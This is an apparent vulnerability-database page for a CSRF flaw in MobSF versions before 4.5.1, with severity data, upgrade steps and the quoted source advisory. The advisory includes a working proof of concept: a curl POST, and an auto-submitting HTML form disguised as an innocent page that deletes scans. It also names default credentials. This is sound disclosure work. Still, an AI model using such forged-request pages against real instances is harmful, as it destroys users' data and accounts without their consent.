CVE-2026-68923: Mobsf Remote Code Execution Vulnerability

MODERATE
Advisory Identifier: GHSA-3p54-567p-2wpr
CVSS 6.5
CWE-352
Published
Advisory Summary

CVE-2026-68923 is a MODERATE (CVSS 6.5) remote code execution vulnerability (CWE-352: Cross-Site Request Forgery (CSRF)) affecting Mobsf libraries in the PyPI ecosystem. The issue involves mobsf's csrf checks not enforced after django migration. Remediation is available by upgrading affected packages to version 4.5.1.

CVE-2026-68923 at a Glance

CVE Identifier CVE-2026-68923
GHSA Identifier GHSA-3p54-567p-2wpr
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-352: Cross-Site Request Forgery (CSRF)
Affected Product Mobsf
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-68923

To remediate this vulnerability, upgrade all affected Mobsf dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

mobsf fixed: 4.5.1
pip install mobsf>=4.5.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show mobsf

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-68923, inspect your installed packages using pip:

pip show mobsf

Analyze the terminal output to locate any version of Mobsf in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.5.1), your application is affected.

Note: The pip show mobsf command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-352: Cross-Site Request Forgery (CSRF), where the web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor. In Mobsf, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Django's `CsrfViewMiddleware` exists only in the deprecated `MIDDLEWARE_CLASSES` (ignored since Django 2.0). The active `MIDDLEWARE` tuple does not include it. All authenticated web POST endpoints (delete scan, upload, download APK, change password, manage users) accept requests without CSRF tokens. ### Verified Impact This was verified by **actually deleting a real scan** from the running server using only a session cookie — no CSRF token was required: ``` $ curl -s -b cookies.txt -X POST "http://127.0.0.1:8000/delete_scan/" \ -d "md5=68e76627798d62555d5287f4488a32c7&scan_type=apk" {"deleted": "yes"} ``` The scan was removed from the database. This attack works from any website via HTML form auto-submission because: - **No CSRF token is validated** (middleware absent) - **Cookie `SameSite=Lax`** allows form-based top-level navigation to send the session cookie ### Affected Component ``` File: mobsf/MobSF/settings.py (Lines 206-212) MIDDLEWARE = ( 'mobsf.MobSF.views.api.api_middleware.RestApiAuthMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', # MISSING: 'django.middleware.csrf.CsrfViewMiddleware' ) ``` ### Steps to Reproduce **1.** Start MobSF v4.4.6 and log in at `http://127.0.0.1:8000/login/` (creds: `mobsf/mobsf`). **2.** Upload and scan any APK to create a scan entry. Note the MD5 hash from "Recent Scans". **3.** Open the following HTML file in the **same browser** (simulates visiting attacker's page): ```html <!DOCTYPE html> <html> <head><title>Innocent Page</title></head> <body> <h1>Loading...</h1> <form id="f" method="POST" action="http://127.0.0.1:8000/delete_scan/"> <input type="hidden" name="md5" value="PUT_REAL_MD5_HASH_HERE" /> <input type="hidden" name="scan_type" value="apk" /> </form> <script>document.getElementById('f').submit();</script> </body> </html> ``` **4.** The scan is deleted. Navigate back to MobSF "Recent Scans" to confirm it's gone. ### Why This Is Not a Self-Bug - The attack requires a **victim user** who is logged in to visit an attacker-controlled page - The attacker crafts the form targeting the victim's MobSF instance - All destructive POST endpoints are affected: `/delete_scan/`, `/upload/`, `/download_scan/`, `/change_password/`, `/create_user/`, `/delete_user/` - This matches the pattern of previously accepted MobSF advisories (e.g., GHSA-5jc6-h9w7-jm3p, GHSA-8m9j-2f32-2vx4) ### Remediation Add `'django.middleware.csrf.CsrfViewMiddleware'` to the active `MIDDLEWARE` tuple.

CVE-2026-68923 Affected Mobsf Versions

1 component(s)
Fixed Versions:
4.5.1
Product / Package Ecosystem Affected Versions Fixed Version
mobsf
PyPI
< 4.5.1
4.5.1

References

Frequently Asked Questions

What is CVE-2026-68923?
CVE-2026-68923 is a security vulnerability in Mobsf involving MobSF's CSRF checks not enforced after Django migration under CWE-352: Cross-Site Request Forgery (CSRF).
Which Mobsf versions are affected?
Affected versions include releases prior to 4.5.1 across affected packages: mobsf.
What version fixes CVE-2026-68923?
Upgrading to 4.5.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is mobsf affected?
Yes, mobsf is affected in releases prior to 4.5.1. Upgrade your dependency to 4.5.1 or later.
What is the CVSS score of CVE-2026-68923?
CVE-2026-68923 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N.
What CWE is associated with CVE-2026-68923?
CVE-2026-68923 is classified under CWE-352: Cross-Site Request Forgery (CSRF) (The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.).
How can I check PyPI dependencies for CVE-2026-68923?
Run the dependency tree command: 'pip show mobsf'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3p54-567p-2wpr",
  "modified" : "2026-08-18T18:01:14Z",
  "published" : "2026-08-18T18:01:13Z",
  "aliases" : [ "CVE-2026-68923" ],
  "summary" : "MobSF's CSRF checks not enforced after Django migration",
  "details" : "### Summary\n\nDjango's `CsrfViewMiddleware` exists only in the deprecated `MIDDLEWARE_CLASSES` (ignored since Django 2.0). The active `MIDDLEWARE` tuple does not include it. All authenticated web POST endpoints (delete scan, upload, download APK, change password, manage users) accept requests without CSRF tokens.\n\n### Verified Impact\n\nThis was verified by **actually deleting a real scan** from the running server using only a session cookie — no CSRF token was required:\n\n```\n$ curl -s -b cookies.txt -X POST \"http://127.0.0.1:8000/delete_scan/\" \\\n    -d \"md5=68e76627798d62555d5287f4488a32c7&scan_type=apk\"\n{\"deleted\": \"yes\"}\n```\n\nThe scan was removed from the database. This attack works from any website via HTML form auto-submission because:\n- **No CSRF token is validated** (middleware absent)\n- **Cookie `SameSite=Lax`** allows form-based top-level navigation to send the session cookie\n\n### Affected Component\n\n```\nFile: mobsf/MobSF/settings.py (Lines 206-212)\n\nMIDDLEWARE = (\n    'mobsf.MobSF.views.api.api_middleware.RestApiAuthMiddleware',\n    'django.contrib.sessions.middleware.SessionMiddleware',\n    'django.contrib.auth.middleware.AuthenticationMiddleware',\n    'django.contrib.messages.middleware.MessageMiddleware',\n    # MISSING: 'django.middleware.csrf.CsrfViewMiddleware'\n)\n```\n\n### Steps to Reproduce\n\n**1.** Start MobSF v4.4.6 and log in at `http://127.0.0.1:8000/login/` (creds: `mobsf/mobsf`).\n\n**2.** Upload and scan any APK to create a scan entry. Note the MD5 hash from \"Recent Scans\".\n\n**3.** Open the following HTML file in the **same browser** (simulates visiting attacker's page):\n\n```html\n<!DOCTYPE html>\n<html>\n<head><title>Innocent Page</title></head>\n<body>\n<h1>Loading...</h1>\n<form id=\"f\" method=\"POST\" action=\"http://127.0.0.1:8000/delete_scan/\">\n  <input type=\"hidden\" name=\"md5\" value=\"PUT_REAL_MD5_HASH_HERE\" />\n  <input type=\"hidden\" name=\"scan_type\" value=\"apk\" />\n</form>\n<script>document.getElementById('f').submit();</script>\n</body>\n</html>\n```\n\n**4.** The scan is deleted. Navigate back to MobSF \"Recent Scans\" to confirm it's gone.\n\n### Why This Is Not a Self-Bug\n\n- The attack requires a **victim user** who is logged in to visit an attacker-controlled page\n- The attacker crafts the form targeting the victim's MobSF instance\n- All destructive POST endpoints are affected: `/delete_scan/`, `/upload/`, `/download_scan/`, `/change_password/`, `/create_user/`, `/delete_user/`\n- This matches the pattern of previously accepted MobSF advisories (e.g., GHSA-5jc6-h9w7-jm3p, GHSA-8m9j-2f32-2vx4)\n\n### Remediation\n\nAdd `'django.middleware.csrf.CsrfViewMiddleware'` to the active `MIDDLEWARE` tuple.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "mobsf"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.5.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-3p54-567p-2wpr"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/2627"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/62563ca429a75b3e5d47a13b958e1d2e7d5e2bbf"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MobSF/Mobile-Security-Framework-MobSF"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MobSF/Mobile-Security-Framework-MobSF/releases/tag/v4.5.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-352" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-18T18:01:13Z",
    "nvd_published_at" : null
  }
}